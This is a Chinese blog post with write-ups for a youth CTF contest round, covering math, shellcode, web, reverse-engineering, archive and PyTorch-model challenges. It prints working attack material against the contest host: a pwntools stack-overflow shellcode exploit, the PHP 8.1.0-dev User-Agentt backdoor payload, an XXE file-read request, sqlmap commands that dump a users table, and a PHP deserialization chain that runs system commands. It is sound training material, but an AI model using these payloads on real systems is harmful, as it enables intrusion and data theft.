Lufer

  • 首页
  • 编程
  • 学习笔记
  • 日常折腾
Lufer
Code the World
  1. 首页
  2. 学习笔记
  3. WriteUP
  4. 正文

青少年CTF擂台挑战赛 2024 #Round 1 WriteUp

2024年3月1日 164点热度 0人点赞 0条评论

Pwn

1、简单的数学题

题目描述

做3个简单的数学题就给你FLAG。

题解

[*]Welcome! Please solve an equation. 
[*]Challenge 1: 2*15^2-1/x+15-6=458.875 Please tell me the result of x.
8
[*]True! This problem is very simple! Right?!
[*]Challenge 2: 5+sqrt(x)=8 Please tell me the result of x.
[*]Hint: Sqrt means radical sign.
9
[*]True! This problem is very simple! Right?!
[*]Challenge 3: x^10+2^10-4*x=6131066258749 Please tell me the result of x.

第三问涉及10次幂,数字不会太大,遍历即可得到x=19

import math
for x in range(1,100):
    temp=math.pow(x,10)
    res=temp+1024-4*x
    print(res)
    if res==6131066258749:
        print(x)
        break

2、Easy_Shellcode

题目描述

简单的shellcode

题解

解题过程待补充

from pwn import *
io = remote('challenge.qsnctf.com',30985)
#process('./easy-shellcode')
context(arch='amd64', os='linux') 
shellcode = asm(shellcraft.sh())
 
shellcode_address_at_stack = int(io.recv()[:-1], 16)+0x110
log.info("Leak stack address = %x", shellcode_address_at_stack)
 
payload = b"a"*264
payload += p64(shellcode_address_at_stack)
payload += shellcode
io.sendline(payload)
io.interactive()

Web

1、PHP的后门

题目描述

PHP竟然也会有后门这种东西?你知道吗!

题解

根据提示,先查看网络请求头部,得到PHP版本为PHP/8.1.0-dev

PHP8.1.0-dev存在通过User-Agent头执行任意代码漏洞,具体可见https://blog.csdn.net/weixin_46137328/article/details/122572156

在请求中添加User-Agentt的header,值为zerodiumsystem("");可执行系统命令,在根目录下可找到flag文件。

2、PHP的XXE

题目描述

XXE(XML External Entity)是一种针对XML解析器的攻击技术,也被称为XML外部实体注入攻击。当应用程序解析用户提供的XML输入时,如果没有正确地配置或过滤外部实体,攻击者可以利用这一漏洞执行恶意操作。
XML允许在文档中定义和使用外部实体,这些实体可以从外部资源(如文件、网络URL等)中获取数据。如果应用程序解析了包含恶意外部实体的XML输入,并且未对外部实体进行适当的处理或限制,攻击者可能会读取敏感文件、执行远程代码或进行其他恶意活动。

题解

环境给的网站输出了phpinfo(),可以看到启用了xml,且libxml版本为2.8.0,存在XXE漏洞。

漏洞利用方式可见 https://blog.csdn.net/qq_61553520/article/details/130655389

测试存在dom.php,构造payload,通过file命令来获取flag。

GET /dom.php HTTP/1.1
Host: challenge.qsnctf.com:30815
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 156

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<root>
<name>&xxe;</name>
</root>

3、Easy_SQLi

题目描述

Easy的SQLi

题解

根据题目提示,应为SQL注入,题目页面只有一个表单,可借助sqlmap进行表单注入。

使用--forms参数进行自动化表单注入,逐步得到flag。

 python .\sqlmap.py "http://challenge.qsnctf.com:31073/" --forms --batch --current-db
得到current database: 'qsnctf'

python .\sqlmap.py "http://challenge.qsnctf.com:31073/" --forms --batch -D qsnctf --tables

Database: qsnctf
[1 table]
+-------+
| users |
+-------+

python .\sqlmap.py "http://challenge.qsnctf.com:31073/" --forms --batch -D qsnctf -T users --columns

Database: qsnctf
Table: users
[3 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| id       | int(11) |
| password | text    |
| username | text    |
+----------+---------+

python .\sqlmap.py "http://challenge.qsnctf.com:31073/" --forms --batch -D qsnctf -T users -C id,password,username --dump

Database: qsnctf
Table: users
[2 entries]
+----+------------------------------------------+----------+
| id | password                                 | username |
+----+------------------------------------------+----------+
| 1  | 123456                                   | admin    |
| 2  | qsnctf{39c8c3a2dec743a2bc24fa4f7b586768} | user     |
+----+------------------------------------------+----------+

4、雏形系统

题目描述

今天是公司里的工程师小王被裁员的日子,但小王并没有闲着。在离开之前,他突发奇想,决定留下一份特别的礼物给公司,于是他设计了一个登录页面的雏形。

题解

后台扫描可以得到一个www.zip,打开得到qsnctf.php,是一段混淆后的php,通过在线工具解码 http://www.zhaoyuanma.com/phpjm.html

<?php
//加密方式:php源码混淆类加密。免费版地址:http://www.zhaoyuanma.com/phpjm.html 免费版不能解密,可以使用VIP版本。
//此程序由【找源码】http://Www.ZhaoYuanMa.Com (免费版)在线逆向还原,QQ:7530782 
?>
<?php
    error_reporting(0);

    class shi
    {
        public $next;
        public $pass;
        public function __toString(){
            $this->next::PLZ($this->pass);
        }
    }
    class wo
    {
        public $sex;
        public $age;
        public $intention;
        public function __destruct(){
            echo "Hi Try serialize Me!";
            $this->inspect();
        }
        function inspect(){
            if($this->sex=='boy'&&$this->age=='eighteen')
            {
                echo $this->intention;
            }
            echo "🙅18岁🈲";
        }
    }

    class Demo
    {
        public $a;
        static function __callStatic($action, $do)
        {
            global $b;
            $b($do[0]);
        }
    }

    $b = $_POST['password'];
    $a = $_POST['username'];
    @unserialize($a);
    if (!isset($b)) {
        echo "==================PLZ Input Your Name!==================";
    }
    if($a=='admin'&&$b=="'k1fuhu's test demo")
    {
        echo("登录成功");
    }

    ?>

看源码应该是个反序列化漏洞,分析构造链。

无需任何条件即可触发的入口是__destruct,随后会调用inspect函数,inspect函数对sex和age进行校验,随后打印intention参数,打印时会触发toString函数,因此intention的值应该为shi类对象。

shi中调用了一个不存在的函数PLZ,因此调用时会触发 __callStatic函数,故next的值应该为Demo对象,pass是传进去被调用的参数。

最后来到Demo类,通过$b($do[0])可以执行任意函数,此处的$do[0]即为先前传进来的pass,由此构造整个调用链,并通过system(cat /flag)来获取flag。

$d=new Demo();

$s=new shi();
$s->next=$d;
$s->pass='cat /flag';

$w=new wo();
$w->sex='boy';
$w->age='eighteen';
$w->intention=$s;

echo serialize($w);

Reverse

1、来打CS咯

题目描述

一起来上号打CS咯 !请注意,题内附件不允许在实体机中运行,具有一定危害性。FLAG格式为qsnctf{ip:端口}

题解

根据提示,应该是需要查找ip+端口,将程序扔进虚拟机运行,发现无界面,但进程一直存在,netstat -ano查看网络连接情况,即可得到外联的IP与端口,拼接得到flag。

Misc

1、CTFer Revenge

题目描述

从反方向开始移动, 回到当初爱你的时空

题解

题目给了个txt,观察结尾可以发现应该是个压缩包,并把文件的16进制全部逆序了。

用脚本处理一下文件,按正确顺序输出。

res = ""
with open('C:\\Users\\xxzx2020\\Downloads\\CTFer Revenge\\是什么呢(仔细观察).txt', 'r') as f:

    for line in f:
        temp=line.split('|  ')[1]
        temp=temp[:47]
        temp2=temp.split(' ')
        # print(temp2)
        for he in temp2:
            reve=he[::-1]
            res=reve+' '+res


# 第一行位数不够,手动拼接一下
res=res+"f4 00 00 00 c0 d4 02 00 00 00"
print(res)

将得到的16进制保存为文件,得到一个压缩包,打开发现存在提示:喜欢用小写和数字做密码

直接爆破,获得密码z12345,打开flag.png,得到答案。

2、ez_model

题目描述

从Pytorch开始的AI之路

题解

题目给出了一个.pth文件,是pytorch的模型文件,借助pytorch打开该模型。

import torch

pthfile=r'easy.pth'
net= torch.load(pthfile,map_location=torch.device('cpu'))

print(net)

得到密文与提示。

OrderedDict({'flag': tensor([ 76., 105., 100.,  85.,  74.,  51., 102.,  81.,  77.,  50.,  70.,  86.,
         74., 111., 120., 112.,  68., 119.,  76., 118.,  68., 121.,  70.,  51.,
         68., 119., 112.,  80., 100., 119., 120.,  79.,  69., 103.,  98.,  81.,
         74., 111., 120., 110.,  69., 103., 100., 110.,  74., 103., 110., 111.,
        106., 111.,  90.,  53., 109.,  70.]), 'hint': tensor([ 90., 122.,  89., 121.,  88., 120.,  65.,  97.,  66.,  98.,  67.,  99.,
         68., 100.,  69., 101.,  70., 102.,  71., 103.,  72., 104.,  73., 105.,
         74., 106.,  75., 107.,  76., 108.,  77., 109.,  78., 110.,  79., 111.,
         80., 112.,  81., 113.,  82., 114.,  83., 115.,  84., 116.,  85., 117.,
         86., 118.,  87., 119.,  48.,  49.,  50.,  51.,  52.,  53.,  54.,  55.,
         56.,  57.,  43.,  47.]), 

转为字符得到两个字符串

flag:LidUJ3fQM2FVJoxpDwLvDyF3DwpPdwxOEgbQJoxnEgdnJgnojoZ5mF
hint:ZzYyXxAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWw0123456789+/

可知是一个自定义字典的base64,直接解码会参数错误,因为长度不对,在后面补=进行尝试,获得flag。

标签: 暂无
最后更新:2024年8月20日

Lufer

新的一天开始啦

点赞
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

文章目录
  • Pwn
    • 1、简单的数学题
      • 题目描述
      • 题解
  • 2、Easy_Shellcode
    • 题目描述
    • 题解
  • Web
  • 1、PHP的后门
    • 题目描述
    • 题解
  • 2、PHP的XXE
    • 题目描述
    • 题解
  • 3、Easy_SQLi
    • 题目描述
    • 题解
  • 4、雏形系统
    • 题目描述
    • 题解
  • Reverse
    • 1、来打CS咯
      • 题目描述
      • 题解
  • Misc
    • 1、CTFer Revenge
      • 题目描述
    • 题解
    • 2、ez_model
      • 题目描述
      • 题解

COPYRIGHT © 2022 lufer.cc.

Theme Kratos Made By Seaton Jiang

鲁ICP备2021045819号